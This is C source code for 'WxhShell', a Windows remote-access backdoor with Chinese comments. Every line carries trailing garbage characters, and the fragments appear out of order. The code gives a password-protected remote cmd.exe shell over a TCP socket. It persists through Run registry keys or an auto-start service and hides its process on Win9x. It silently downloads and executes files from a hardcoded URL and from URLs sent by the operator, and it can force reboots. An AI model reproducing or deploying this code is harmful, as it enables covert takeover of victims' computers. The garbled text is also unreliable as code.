    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j1CD;9i)%  
    if(Boot(SHUTDOWN)) {O oNhN9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); toZI.cSg4  
    else { n#'',4f  
    closesocket(wsh); R[-:-8  
    ExitThread(0);  M!DoR6  
    } nhhJUN?8  
    break; Kqu7DZ+W  
    } 0J-ux"kfI  
  // 获取shell s1apHwJ -  
  case 's': { LZ]pyoi  
    CmdShell(wsh); hQx e0Pdt  
    closesocket(wsh); b!P;xLcb  
    ExitThread(0); J+|V[E<x  
    break; |OT%,QT|  
  } ;mxT >|z  
  // 退出 `IQC\DSl/  
  case 'x': { _ILOA]ga#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SO<K#HfE$?  
    CloseIt(wsh); qr;" K?NX  
    break; L6 # d  
    } UVU*5U~  
  // 离开 gb#wrI  
  case 'q': { LKY Q?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "G)?  E|  
    closesocket(wsh); e(5R8ud  
    WSACleanup(); Bq8<FZr#!  
    exit(1); <W^~Y31:0  
    break; 9'aR-tFun;  
        } ZSb+92g{L$  
  } !_#js  
  } ;9sVWJJCw  
)pH{b]t  
  // 提示信息 > n\ Q [W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TI&J>/z;$  
} e%>E| 9*u  
  } 0zNS;wvv&  
4Lb<#e13R?  
  return; >R-$JrU.=  
} Bv*h ?`Q  
 \hc9Rk  
// shell模块句柄 Wm_-T]#_  
int CmdShell(SOCKET sock) `Yve  
{ 4D$E  
STARTUPINFO si; Q+N @j]'  
ZeroMemory(&si,sizeof(si)); <(%uOo$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :9qB{rLi}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v1rGq  
PROCESS_INFORMATION ProcessInfo; }N!8i'suz9  
char cmdline[]="cmd"; <#` L&w.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @gk[sQ\O  
  return 0; %LmB`DqZ  
} AkC\CdmA  
%hQ`b$07t  
// 自身启动模式 Z)0R$j`2  
int StartFromService(void) -fn~y1  
{ @) wXP@7  
typedef struct }c:0cl  
{ 8t; nU;E*  
  DWORD ExitStatus; 9r}} m0  
  DWORD PebBaseAddress; b5C #xxIO  
  DWORD AffinityMask; ibL;99#  
  DWORD BasePriority; ? ~8V;Qn  
  ULONG UniqueProcessId; tO$M[P=b  
  ULONG InheritedFromUniqueProcessId; ``D-pnKK  
}   PROCESS_BASIC_INFORMATION; tzPe*|m<  
pTd@i1%Nr  
PROCNTQSIP NtQueryInformationProcess; i ib-\j4d  
d4tVK0 ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $>Do&TU   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p! 1zhD  
2Hj]QN7"   
  HANDLE             hProcess; vzPrG%Uu7g  
  PROCESS_BASIC_INFORMATION pbi; -K4RQ{=>UZ  
" 8v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ps [rYy  
  if(NULL == hInst ) return 0; @m4d4K@  
nMqU6X>P!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NU"X*g-x^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zs)9O Ju  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +q!6zGs.  
*2Kte'+q  
  if (!NtQueryInformationProcess) return 0; oizoKwp%  
Dc5XU3Eu`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T%F'4_~No  
  if(!hProcess) return 0; i=rW{0c%  
0jq#,p=l;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IAQ=d4V&  
eyOAG4QTV  
  CloseHandle(hProcess); yuWrU<Kw  
Q&7Qht:ea:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iZF{9@  
if(hProcess==NULL) return 0; +{&g|V  
B _ >|Mo/  
HMODULE hMod; Rp1OC  
char procName[255]; 7O j9~3o4  
unsigned long cbNeeded; oUH\SW8?  
b $!l* r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 08Gr  
]|oqJ2P  
  CloseHandle(hProcess); W\/0&H\i  
v~SN2,h  
if(strstr(procName,"services")) return 1; // 以服务启动 Fc Cxr@  
#i? TCO  
  return 0; // 注册表启动 t+ @F"[j  
} H}X"yLog*  
1=>$c   
// 主模块 ;Ti?(n#M>  
int StartWxhshell(LPSTR lpCmdLine) E^s>S,U[y  
{ q~Ud>{  
  SOCKET wsl; =0A{z#6  
BOOL val=TRUE; BFY~::<b  
  int port=0; K4KmoGb  
  struct sockaddr_in door; 'W)x<Iey1  
CwAl-o  
  if(wscfg.ws_autoins) Install(); 6%? NNEM  
iJcl0)|  
port=atoi(lpCmdLine); (NP=5lLH  
,QDq+93  
if(port<=0) port=wscfg.ws_port; d-4u*>  
#RcmO **  
  WSADATA data; q?6Zu:':  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /dO&r'!:  
drH!?0Dpg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }I]9I _S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ][.1b@)qV  
  door.sin_family = AF_INET; 3Xy>kG}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @{j-B IRZ0  
  door.sin_port = htons(port); ?r/7:  
aw~OvnX E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z@>>ZS1Do  
closesocket(wsl); U6{ RHS[  
return 1; kG{(Qi  
} kb>9;-%^JK  
*op7:o_  
  if(listen(wsl,2) == INVALID_SOCKET) { v / a/  
closesocket(wsl); PUI.Un2C_  
return 1; GYj`-t  
} \.{?TB  
  Wxhshell(wsl); REa%kU  
  WSACleanup(); s;A]GJ  
q.*qZ\;K  
return 0; \]^|IViIQ  
,y^By_1wS  
} ,5q^/h  
t ;[Me0  
// 以NT服务方式启动 t.m $|M>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ivt\| >  
{ !-: a`Vs+  
DWORD   status = 0; f+d{^-  
  DWORD   specificError = 0xfffffff; >$}nKPC,Y  
Z:'2pu U+?  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  d(k`Yk8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i+2J\.~U#G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 %*X,E  
  serviceStatus.dwWin32ExitCode     = 0; D}:D,s8UP  
  serviceStatus.dwServiceSpecificExitCode = 0; SN+&'?$WD  
  serviceStatus.dwCheckPoint       = 0; :yv!  x  
  serviceStatus.dwWaitHint       = 0; JjM^\LwKkL  
! $n^Ze2 !  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h~dM*yo;  
  if (hServiceStatusHandle==0) return; -WEiY  
1wwhTek  
status = GetLastError(); lp4sO#>`  
  if (status!=NO_ERROR) l_DPlY  
{ X!&=S!}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;DGp7f#9  
    serviceStatus.dwCheckPoint       = 0; <F&S   
    serviceStatus.dwWaitHint       = 0; a"~W1|JC"  
    serviceStatus.dwWin32ExitCode     = status; e{"d6pF=  
    serviceStatus.dwServiceSpecificExitCode = specificError; lk8VJ~2d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YTY0N5["  
    return; IUzRE?Kzf  
  } bBjVot  
E#T'=f[r~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bMgp  
  serviceStatus.dwCheckPoint       = 0; :5;[Rg5 2  
  serviceStatus.dwWaitHint       = 0; lG q;kIQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JG4Tb{F=  
} d8|:)7PSt  
wd u>3Ch"y  
// 处理NT服务事件,比如:启动、停止 SJw0y[IL6(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [<cP~  
{ YV0e)bf  
switch(fdwControl) &H* F  
{ qD 2<-E&M/  
case SERVICE_CONTROL_STOP: K?P.1H`  
  serviceStatus.dwWin32ExitCode = 0; (RGl, x:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lnTl"9F  
  serviceStatus.dwCheckPoint   = 0; aFKks .n3  
  serviceStatus.dwWaitHint     = 0; Il!iqDHz3  
  { hd+JKh!u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/mD05{  
  } 8amtTM  
  return; x'}{^'}/  
case SERVICE_CONTROL_PAUSE: m`n51i{U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !5x"d7  
  break; F YcC2TM  
case SERVICE_CONTROL_CONTINUE: CKj3-rcF(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; InRn!~_N  
  break; yl|+D]  
case SERVICE_CONTROL_INTERROGATE: 2f F)I&  
  break; )-[X^l j  
}; Y ||!V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xOP\ +(  
} tw^V?4[Miu  
5JQq?e)n  
// 标准应用程序主函数 cpf8f i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ 5`Ngpp  
{ 3"%:S_[  
60-LpGhvy  
// 获取操作系统版本 * _U z**M  
OsIsNt=GetOsVer(); QD7>S(p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uI.4zbgl[  
QiY7m<3  
  // 从命令行安装 tBdvk>d  
  if(strpbrk(lpCmdLine,"iI")) Install(); erqg|TsFj  
$yRbo '-  
  // 下载执行文件 N/]TZu~k z  
if(wscfg.ws_downexe) {  RtK/bUa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VM|8HR7U  
  WinExec(wscfg.ws_filenam,SW_HIDE); rY88xh^  
} julAN$2  
{_PV~8u  
if(!OsIsNt) { VAV@Qn  
// 如果时win9x,隐藏进程并且设置为注册表启动 I C7n;n9  
HideProc(); :x= ZvAvo  
StartWxhshell(lpCmdLine); r0?`t!% V  
} PE+N5n2Tl  
else eF!c< Kcr  
  if(StartFromService()) ;p1%KmK3  
  // 以服务方式启动 0A\o8T.12  
  StartServiceCtrlDispatcher(DispatchTable); 2qw~hWX  
else e(j"u;=  
  // 普通方式启动 iQS?LksQX  
  StartWxhshell(lpCmdLine); h (jg7R  
%/s:G)  
return 0; Onby=Y o6  
} DH @*Oz-  
L<J%IlcfO  
.GLotc  
{P(IA2J'S  
=========================================== zaR~fO  
BwrMRMq"  
C'kd>LAGu  
l{vi{9n)  
w ~Es,@  
"0n to+v  
" a!4'}gHR  
SC"=M^E  
#include <stdio.h> qDOx5.d  
#include <string.h> oQFpIX;\m  
#include <windows.h> >e"1a/2%>&  
#include <winsock2.h> n(-XI&Kn  
#include <winsvc.h> z$H |8L  
#include <urlmon.h> naW}[y*y;  
G$Z8k,g+<7  
#pragma comment (lib, "Ws2_32.lib") ( 8k3z`  
#pragma comment (lib, "urlmon.lib") |\Jpjm)?  
2~~Q NWN  
#define MAX_USER   100 // 最大客户端连接数 z&9vKF  
#define BUF_SOCK   200 // sock buffer w9l)=[s=  
#define KEY_BUFF   255 // 输入 buffer ?zKDPBj  
*}cF]8c5W  
#define REBOOT     0   // 重启 MZ6?s(mkx  
#define SHUTDOWN   1   // 关机 '9H]S Ew  
MX6;ww  
#define DEF_PORT   5000 // 监听端口 `fc2vaSH =  
O>)8< yi$  
#define REG_LEN     16   // 注册表键长度 &PgbFy  
#define SVC_LEN     80   // NT服务名长度 *_3+ DF  
/k(0}g=\  
// 从dll定义API y~Sh|2x8v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jc:*X4-'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Mdxbs6.C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]hN%~ ~$>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A1>R8Zuhy  
!SKEL6~7  
// wxhshell配置信息 @R(6w{h9  
struct WSCFG { zr2%|YF  
  int ws_port;         // 监听端口 a*KB'u6&  
  char ws_passstr[REG_LEN]; // 口令 5(tOQ%AQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no IgQW 5E#  
  char ws_regname[REG_LEN]; // 注册表键名 !$f@j6.  
  char ws_svcname[REG_LEN]; // 服务名 f \[Z`D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qP*$wKY,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :1s6h%evrT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '72ZLdi}-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .pr-  ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,z<\Z!+=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %)u5A !"  
; Rt?&&W  
}; 7-Fh!=\f/  
]7fqVOiOu  
// default Wxhshell configuration ,=R->~ J  
struct WSCFG wscfg={DEF_PORT, &=xm>;`3  
    "xuhuanlingzhe", j^ex5A.& &  
    1, (]0ZxWF  
    "Wxhshell", a&M{y  
    "Wxhshell", b_z;^y~  
            "WxhShell Service", J}nE,U2  
    "Wrsky Windows CmdShell Service", Tr-gdX ;  
    "Please Input Your Password: ", 4JT9EKo  
  1, P<km?\Xp(  
  "http://www.wrsky.com/wxhshell.exe", F]0O4p~fl  
  "Wxhshell.exe" [x'xbQLGd  
    }; vB#&XK.aW  
Cn[`]  
// 消息定义模块 U8\[8~Xftn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,ZC^,Vq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l{E+j%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2~K.m@U}!Z  
char *msg_ws_ext="\n\rExit."; *U)!9DvA  
char *msg_ws_end="\n\rQuit."; bWW$_S pr  
char *msg_ws_boot="\n\rReboot..."; /~K-0K#w  
char *msg_ws_poff="\n\rShutdown..."; OGzth$7A  
char *msg_ws_down="\n\rSave to "; uy9k^4Cqa  
Yvcd(2  
char *msg_ws_err="\n\rErr!"; ]o6Or,ml  
char *msg_ws_ok="\n\rOK!"; =O<Ul~JRK  
HUfH/x3zj]  
char ExeFile[MAX_PATH]; CZS{^6Ye  
int nUser = 0; )K4 |-<i  
HANDLE handles[MAX_USER]; a.y_o50#T  
int OsIsNt; oL2|@WNj,  
}`{aeVHT  
SERVICE_STATUS       serviceStatus; ? !MDg_oHd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \8'fy\  
e #> wv]V  
// 函数声明 6NVf&;laQ  
int Install(void); {*r*+}@  
int Uninstall(void); `Jq ?+W  
int DownloadFile(char *sURL, SOCKET wsh); tq8B)<(]  
int Boot(int flag); 2a3h m8%U  
void HideProc(void); SYOND>E  
int GetOsVer(void); l23_K7  
int Wxhshell(SOCKET wsl); /o*r[g7<  
void TalkWithClient(void *cs); ~B'K_#  
int CmdShell(SOCKET sock); pE[ul  
int StartFromService(void); \`Db|D?oy  
int StartWxhshell(LPSTR lpCmdLine); ?a+tL'D[  
&~29%Ns  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *Sm$FMWQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FYFP 6ti  
\H!E CTI  
// 数据结构和表定义 hyH"  
SERVICE_TABLE_ENTRY DispatchTable[] = n\Uh5P1W"  
{ ):   
{wscfg.ws_svcname, NTServiceMain}, R+ lwOVX  
{NULL, NULL} " 6Hka{  
}; ==F[5]?  
R%Gh4y\nF  
// 自我安装 RXP0 4  
int Install(void) =toqEm~  
{ ,[7 1,zs  
  char svExeFile[MAX_PATH]; ,a9<\bd)  
  HKEY key; Vv~rgNh  
  strcpy(svExeFile,ExeFile); ,^3eMn  
{s6;6>-kPW  
// 如果是win9x系统,修改注册表设为自启动 Iw(deD  
if(!OsIsNt) { [cv7s=U%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0K <@?cI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?"]fGp6y  
  RegCloseKey(key); Jtnuo]{R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uc/MPCqZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'j6PL;~c  
  RegCloseKey(key); qsk8#  
  return 0; *y9 iuJ}  
    } 9&q<6TZz  
  } O,>1GKw"\  
} ja3wXz$2  
else { {}H5%W  
In#V1[io  
// 如果是NT以上系统,安装为系统服务 wXIsc;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6TvlK*<r=  
if (schSCManager!=0) e; 5 n.+m  
{ M:z)uLDw  
  SC_HANDLE schService = CreateService aT$q1!U`j2  
  ( @C{IgV  
  schSCManager, !2s< v  
  wscfg.ws_svcname, % < D  
  wscfg.ws_svcdisp, OM*N)*  
  SERVICE_ALL_ACCESS, ;Y5"[C9|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _I l/ i&  
  SERVICE_AUTO_START, 4h\MSTF*  
  SERVICE_ERROR_NORMAL, QijEb  
  svExeFile, $m]~d6  
  NULL, n*(Vf'k  
  NULL, D$ zKkP YI  
  NULL, cobq+Iyu  
  NULL, +/y 3]}  
  NULL M)C. bo{p  
  ); fo9O+e s  
  if (schService!=0) F/sXr(7  
  { jFf2( AR  
  CloseServiceHandle(schService); ( >zXapb2  
  CloseServiceHandle(schSCManager); /bv `_ >  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -H5n>j0!{  
  strcat(svExeFile,wscfg.ws_svcname); Wu(6FQ`H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -&I%=0q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w-*$gk]   
  RegCloseKey(key); ^UHt1[  
  return 0; 9 =7),`$  
    } j38>,9u,  
  } 1A"h!;0  
  CloseServiceHandle(schSCManager); *xR;}%s\  
} 4 :RL[;  
} y Dg  
gVjI1{WTK  
return 1; <yz)iCU?  
} hG .>>  
xjB2?:/2  
// 自我卸载 [ &RZ&  
int Uninstall(void) ESp)%  
{ ~n9BN'@x  
  HKEY key; L!s/0kBg  
,R]hNjs-{  
if(!OsIsNt) { S G|``}OA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tu2BQ4\[  
  RegDeleteValue(key,wscfg.ws_regname); 2mN>7Tj:  
  RegCloseKey(key); WW82=2rJ9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7t=e"|^  
  RegDeleteValue(key,wscfg.ws_regname); m,NUNd#)\  
  RegCloseKey(key); ~9c?g(0  
  return 0; *@[DG)N  
  } "W$,dWF  
} fx(^}e  
} =$;i  
else { 6<jh0=$  
4^vEMq8lB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;M}'\.  
if (schSCManager!=0) d%VG@./xq  
{ T8+A`z=tSb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); . #`lW7  
  if (schService!=0) ;Nf5,D.D  
  { rt)70=  
  if(DeleteService(schService)!=0) { &^$dHr6v  
  CloseServiceHandle(schService); fr kDf-P  
  CloseServiceHandle(schSCManager); Sd/?xyF1(  
  return 0; d~@&*1}  
  } -jy- KC  
  CloseServiceHandle(schService); .^j6  
  } Qfx(+=|  
  CloseServiceHandle(schSCManager); pi7Fd\A  
} (]7&][  
} yk OJhd3  
OEmz`JJ67  
return 1; J4 [7*v  
} UUi@ U  
GADbXp3  
// 从指定url下载文件 \o3)\ e]o  
int DownloadFile(char *sURL, SOCKET wsh) ,tJ%t#  
{ dYV'<  
  HRESULT hr; S~fURn  
char seps[]= "/"; !i=LQUi.  
char *token; 8?#4<4Ql8  
char *file; Kcv7C{-/  
char myURL[MAX_PATH]; V)#se"GV  
char myFILE[MAX_PATH]; lj0"2@z3"E  
VL= .JwK  
strcpy(myURL,sURL); ;1PnbU b  
  token=strtok(myURL,seps); _V\rs{ 5  
  while(token!=NULL) #T:#!MKa  
  { 6Yhd[I3  
    file=token; )cOw9&#s  
  token=strtok(NULL,seps); %&m/e?@%I  
  } A_3V1<J`]  
m`luMt9  
GetCurrentDirectory(MAX_PATH,myFILE); 8JxJ>I-9p  
strcat(myFILE, "\\"); 1FCqkwq[  
strcat(myFILE, file); mOji\qia  
  send(wsh,myFILE,strlen(myFILE),0); 6vp\~J  
send(wsh,"...",3,0); G?$|aQ0j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?u.&BP  
  if(hr==S_OK) , 6 P:S7  
return 0; tUouO0_l  
else /W&Ro5-  
return 1; >xQgCOi  
X+zFRL%  
} tSX<^VER7  
% C~2k?  
// 系统电源模块 ~ED8]*H|`  
int Boot(int flag) ;|_aACina  
{ 3aIP^I1  
  HANDLE hToken; vf6_oX<Os  
  TOKEN_PRIVILEGES tkp; |hBX"  
KW.*LoO  
  if(OsIsNt) { v5 STe`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9}p>='  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .?{rd3[ec  
    tkp.PrivilegeCount = 1; xVk|6vA7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bH4'j/3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hu}`,2  
if(flag==REBOOT) { V5w00s5?%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tGHZU^B:}  
  return 0; `x%v& >  
} "F A&Qm0  
else { 'z$BgXh\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r}kQ<SRx  
  return 0; xCU^4DO3p  
} q =sEtH=  
  } ":s1}A  
  else { al>^}:  
if(flag==REBOOT) { RsV<4$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A9Cq(L_H  
  return 0; rg Gm[SL*<  
} m(MPVY<X  
else { _BGw)Z 6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ia_I~ U$  
  return 0; $="t7C9S  
} 2R9AYI  
} 533n z8&9@  
E"d\N-I  
return 1; k#mQLv  
} 1>hY!nG h  
X(s HFVU+  
// win9x进程隐藏模块 g'2'K  
void HideProc(void) %04N"^mT'~  
{ 6*yt^[W  
Qtj.@CGB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eeKErpj8A  
  if ( hKernel != NULL ) =!}n .  
  { Uedzt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &o{=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ *:{U   
    FreeLibrary(hKernel); nnr g^F  
  } `/]Th&(5  
#p'Xq }]  
return; +ob<? T  
} 9 0PF)U  
.|>zQ(7YC  
// 获取操作系统版本 \XDc{c]  
int GetOsVer(void) Axb,{X[6g  
{ Py^ _::  
  OSVERSIONINFO winfo; U*Q1(C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dn{ hU $*  
  GetVersionEx(&winfo); )qXl8HI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ) 0p9I0=  
  return 1; ^{z@=o<o  
  else VI83 3  
  return 0; PL+r*M%ll  
} 9A|deETa-  
Rb!|2h)  
// 客户端句柄模块 5]C}044  
int Wxhshell(SOCKET wsl) TNwBnMe  
{ _H[LUl9  
  SOCKET wsh; ,3 !D(&  
  struct sockaddr_in client; )6K Q"*  
  DWORD myID; o1jDQ+  
J\7ukm"9  
  while(nUser<MAX_USER) tG!ApL  
{ Qs v3`c  
  int nSize=sizeof(client); zj~(CNE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =&Dt+f&  
  if(wsh==INVALID_SOCKET) return 1; "ecG\}R=  
-nBb - y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LjZvWts?  
if(handles[nUser]==0) D@jG+k-Lm  
  closesocket(wsh); 2hZ>bg  
else KDx~^OO  
  nUser++; j_=A)B?  
  } B 4s^X`?z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |%wgux`z  
&x~&]  
  return 0; eK<X7m^  
} 2t9JiH  
U5rcI6  
// 关闭 socket +|Tz<\.C  
void CloseIt(SOCKET wsh) F.9SyB$  
{ M5$YFGGR  
closesocket(wsh); %}< e;t-O  
nUser--; VD=}GY33=  
ExitThread(0); z"cF\F  
} &/%A 9R,  
W6N3u7mrb  
// 客户端请求句柄 '. Ww*N  
void TalkWithClient(void *cs) aQ@9(j> F  
{ l/=2P_8+Z  
x2-i1#j`;  
  SOCKET wsh=(SOCKET)cs; G8]DK3#  
  char pwd[SVC_LEN]; j$2rU'  
  char cmd[KEY_BUFF]; cJ CKxj  
char chr[1]; +ZuT\P&kR5  
int i,j; I+qg'mo  
:0G_n\  
  while (nUser < MAX_USER) { u\L=nCtLby  
4!%@{H`3  
if(wscfg.ws_passstr) { yr4j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jO` b&]0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;3 N0)  
  //ZeroMemory(pwd,KEY_BUFF); r>!$eqX_  
      i=0; _G$SA-W(  
  while(i<SVC_LEN) { pN\YAc*@:  
hLs<g!*O  
  // 设置超时 x2q6y  
  fd_set FdRead; $0uh8RB  
  struct timeval TimeOut; RK7vR~kf<  
  FD_ZERO(&FdRead); wjJM\BKr`  
  FD_SET(wsh,&FdRead); wR7Ja cKv  
  TimeOut.tv_sec=8; C*+gQeK  
  TimeOut.tv_usec=0; L5+X&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R`IFKmA EJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :v=^-&t  
n*'i{P]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]4{ )VXod  
  pwd=chr[0]; Y]zy=8q  
  if(chr[0]==0xd || chr[0]==0xa) { DC&3=Nd  
  pwd=0; pQQN8Y~^Y  
  break; <)hA? 3J  
  } {ylY"FA  
  i++; }01c7/DRP<  
    } _*tU.x|DP  
K-_XdJ\  
  // 如果是非法用户,关闭 socket vb o| q[z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7WEh'(`  
} pUGFQ."\  
W6e,S[J^FY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i~};5j(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8OS@gpz  
)[t zAaP7  
while(1) { aw%iO|M_  
UR3qzPm!0e  
  ZeroMemory(cmd,KEY_BUFF); ?L%BD7  
^{V t  
      // 自动支持客户端 telnet标准   #8Bs15aV  
  j=0; u-8b,$@Z>'  
  while(j<KEY_BUFF) { S.<aCN<@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a#huK~$~  
  cmd[j]=chr[0]; >yZe1CP  
  if(chr[0]==0xa || chr[0]==0xd) { aUy!(Y  
  cmd[j]=0; mJ_ 5Vt=  
  break; t zTnFV  
  } _u[2R=h  
  j++; 1g{-DIOmn  
    } Nldy76|g  
u<g0oEs)  
  // 下载文件 r<%ua6@  
  if(strstr(cmd,"http://")) { H^VNw1.   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S7B7'[ru  
  if(DownloadFile(cmd,wsh)) >/]` f8^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Io(*_3V)B  
  else 2`|gnVw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H%nA"-  
  } %Tv2op  
